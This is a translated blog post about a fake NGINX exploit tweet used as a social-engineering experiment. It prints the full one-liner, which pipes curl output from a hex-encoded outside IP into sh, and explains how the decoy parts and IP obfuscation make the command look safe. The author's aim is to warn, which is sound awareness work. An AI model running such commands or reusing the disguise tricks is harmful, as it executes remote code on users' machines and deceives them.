Úspech sociálneho experimentu s falošným zneužitím nginx

Poznámka. preklad.: Autor pôvodná poznámka, zverejnená 1. júna, sa rozhodla uskutočniť experiment medzi záujemcami o informačnú bezpečnosť. Aby to urobil, pripravil falošný exploit na nezverejnenú zraniteľnosť webového servera a zverejnil ho na svojom Twitteri. Jeho predpoklady – byť okamžite odhalený odborníkmi, ktorí by v kóde videli zjavný podvod – sa nielenže nenaplnili... Prekonali všetky očakávania, a to v opačnom smere: tweet získal obrovskú podporu od mnohých ľudí, ktorí to neurobili skontrolujte jej obsah.

Úspech sociálneho experimentu s falošným zneužitím nginx

TL;DR: Za žiadnych okolností nepoužívajte prepojenie súborov v sh alebo bash. Je to skvelý spôsob, ako stratiť kontrolu nad počítačom.

Chcem sa s vami podeliť o krátky príbeh o comicsovom PoC exploite, ktorý bol vytvorený 31. mája. Okamžite sa objavil v reakcii na správy z Alisa Esage Shevchenko, člen Iniciatíva Zero Day (ZDI), že informácie o zraniteľnosti v NGINX vedúcej k RCE (spustenie kódu na diaľku) budú čoskoro zverejnené. Keďže NGINX poháňa mnoho webových stránok, novinka musela byť bombová. Ale kvôli oneskoreniam v procese „zodpovedného zverejnenia“ neboli známe podrobnosti o tom, čo sa stalo – ide o štandardný postup ZDI.

Úspech sociálneho experimentu s falošným zneužitím nginx
Tweetujte o odhalení zraniteľnosti v NGINX

Po dokončení práce na novej technike zahmlievania som citoval pôvodný tweet a „uniklo fungujúce PoC“ pozostávajúce z jedného riadku kódu, ktorý údajne využíva objavenú zraniteľnosť. Samozrejme, toto bol úplný nezmysel. Predpokladal som, že budem okamžite odhalený a že v najlepšom prípade dostanem pár retweetov (no dobre).

Úspech sociálneho experimentu s falošným zneužitím nginx
Tweetujte s falošným exploitom

Nevedel som si však predstaviť, čo nasledovalo. Popularita môjho tweetu prudko vzrástla. Prekvapivo, v súčasnosti (15:00 moskovského času 1. júna) si len málo ľudí uvedomilo, že ide o falzifikát. Mnoho ľudí ho retweetuje bez toho, aby to vôbec skontrolovali (nehovoriac o obdivovaní krásnej grafiky ASCII, ktorú vydáva).

Úspech sociálneho experimentu s falošným zneužitím nginx
Len sa pozrite, aké je to krásne!

Aj keď sú všetky tieto slučky a farby skvelé, je jasné, že ľudia museli na svojom počítači spustiť kód, aby ich videli. Našťastie prehliadače fungujú rovnakým spôsobom a v kombinácii so skutočnosťou, že som sa v skutočnosti nechcel dostať do právnych problémov, kód pochovaný na mojej stránke iba robil echo volania bez pokusu o inštaláciu alebo spustenie akéhokoľvek dodatočného kódu.

Malá odbočka: netspooky, DNZ, ja a ostatní chalani z tímu Thugcrowd Už nejaký čas sa hráme s rôznymi spôsobmi zahmlievania príkazov curl, pretože je to super... a my sme geekovia. netspooky a dnz objavili niekoľko nových metód, ktoré sa mi zdali mimoriadne sľubné. Pripojil som sa k zábave a vyskúšal som pridať prevody IP na desatinné miesta do vreca trikov. Ukazuje sa, že IP možno previesť aj do hexadecimálneho formátu. Okrem toho curl a väčšina ostatných nástrojov NIX s radosťou jedia hexadecimálne adresy IP! Išlo teda len o vytvorenie presvedčivého a bezpečne vyzerajúceho príkazového riadku. Nakoniec som sa rozhodol pre toto:

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

Socio-elektronické inžinierstvo (SEE) – viac než len phishing

Bezpečnosť a znalosť boli hlavnou súčasťou tohto experimentu. Myslím si, že práve oni viedli k jeho úspechu. Príkazový riadok jasne naznačoval bezpečnosť odkazom na "127.0.0.1" (známy localhost). Localhost sa považuje za bezpečný a údaje na ňom nikdy neopustia váš počítač.

Znalosť bola druhým kľúčovým komponentom SEE experimentu. Keďže cieľovú skupinu tvorili predovšetkým ľudia oboznámení so základmi počítačovej bezpečnosti, bolo dôležité vytvoriť kód tak, aby sa jeho časti zdali známe a známe (a teda bezpečné). Požičiavanie prvkov starých exploit konceptov a ich spájanie neobvyklým spôsobom sa ukázalo ako veľmi úspešné.

Nižšie je podrobná analýza jednovrstvovej vložky. Všetko na tomto zozname sa nosí kozmetického charakteru, a na jeho skutočnú prevádzku nie je potrebné prakticky nič.

Aké komponenty sú skutočne potrebné? Toto -gsS, -O 0x0238f06a, |sh a samotný webový server. Webový server neobsahoval žiadne škodlivé inštrukcie, ale jednoducho obsluhoval ASCII grafiku pomocou príkazov echo v skripte obsiahnutom v index.html. Keď používateľ zadal riadok s |sh v strede, index.html načítané a spustené. Našťastie, správcovia webového servera nemali žiadne zlé úmysly.

  • ../../../%00 — predstavuje prechod nad rámec adresára;
  • ngx_stream_module.so — cesta k náhodnému modulu NGINX;
  • /bin/sh%00<'protocol:TCP' - vraj štartujeme /bin/sh na cieľovom počítači a presmerovať výstup na TCP kanál;
  • -O 0x0238f06a#PLToffset - tajná prísada, doplnená #PLToffset, vyzerať ako pamäťový offset nejakým spôsobom obsiahnutý v PLT;
  • |sh; - ďalší dôležitý fragment. Potrebovali sme presmerovať výstup na sh/bash, aby sme mohli spustiť kód pochádzajúci z útočiaceho webového servera umiestneného na 0x0238f06a (2.56.240.x);
  • nc /dev/tcp/localhost - figurína, na ktorú odkazuje netcat /dev/tcp/localhostaby všetko opäť vyzeralo bezpečne. V skutočnosti nerobí nič a je zaradený do radu pre krásu.

Týmto sa končí dekódovanie jednoriadkového skriptu a diskusia o aspektoch „socio-elektronického inžinierstva“ (zložitý phishing).

Konfigurácia webového servera a protiopatrenia

Keďže drvivú väčšinu mojich odberateľov tvoria infosec/hackeri, rozhodol som sa spraviť webový server trochu odolnejším voči prejavom „záujmu“ z ich strany, len aby mali chalani čo robiť (a bola sranda nastaviť). Nebudem tu uvádzať všetky úskalia, keďže experiment stále prebieha, ale tu je niekoľko vecí, ktoré server robí:

  • Aktívne monitoruje pokusy o distribúciu na určitých sociálnych sieťach a nahrádza rôzne náhľadové miniatúry, aby povzbudil používateľa, aby klikol na odkaz.
  • Presmeruje Chrome/Mozilla/Safari/atď na propagačné video Thugcrowd namiesto zobrazenia skriptu shellu.
  • Sleduje Zjavné známky narušenia/do očí bijúceho hackovania a potom začne presmerovať požiadavky na servery NSA (ha!).
  • Nainštaluje trójsky kôň a tiež rootkit systému BIOS na všetky počítače, ktorých používatelia navštívia hostiteľa z bežného prehliadača (len si robím srandu!).

Úspech sociálneho experimentu s falošným zneužitím nginx
Malá časť antimérov

V tomto prípade bolo mojím jediným cieľom zvládnuť niektoré funkcie Apache – najmä skvelé pravidlá pre presmerovanie požiadaviek – a pomyslel som si: prečo nie?

NGINX Exploit (skutočné!)

Prihláste sa na odber @alisaesage na Twitteri a sledujte skvelú prácu ZDI pri riešení veľmi reálnych zraniteľností a využívaní príležitostí v NGINX. Ich práca ma vždy fascinovala a som vďačný Alici za trpezlivosť so všetkými zmienkami a upozorneniami, ktoré môj hlúpy tweet spôsobil. Našťastie to tiež prinieslo niečo dobré: pomohlo to zvýšiť povedomie o zraniteľnostiach NGINX, ako aj o problémoch spôsobených zneužívaním zvlnenia.

Zdroj: hab.com

Pridať komentár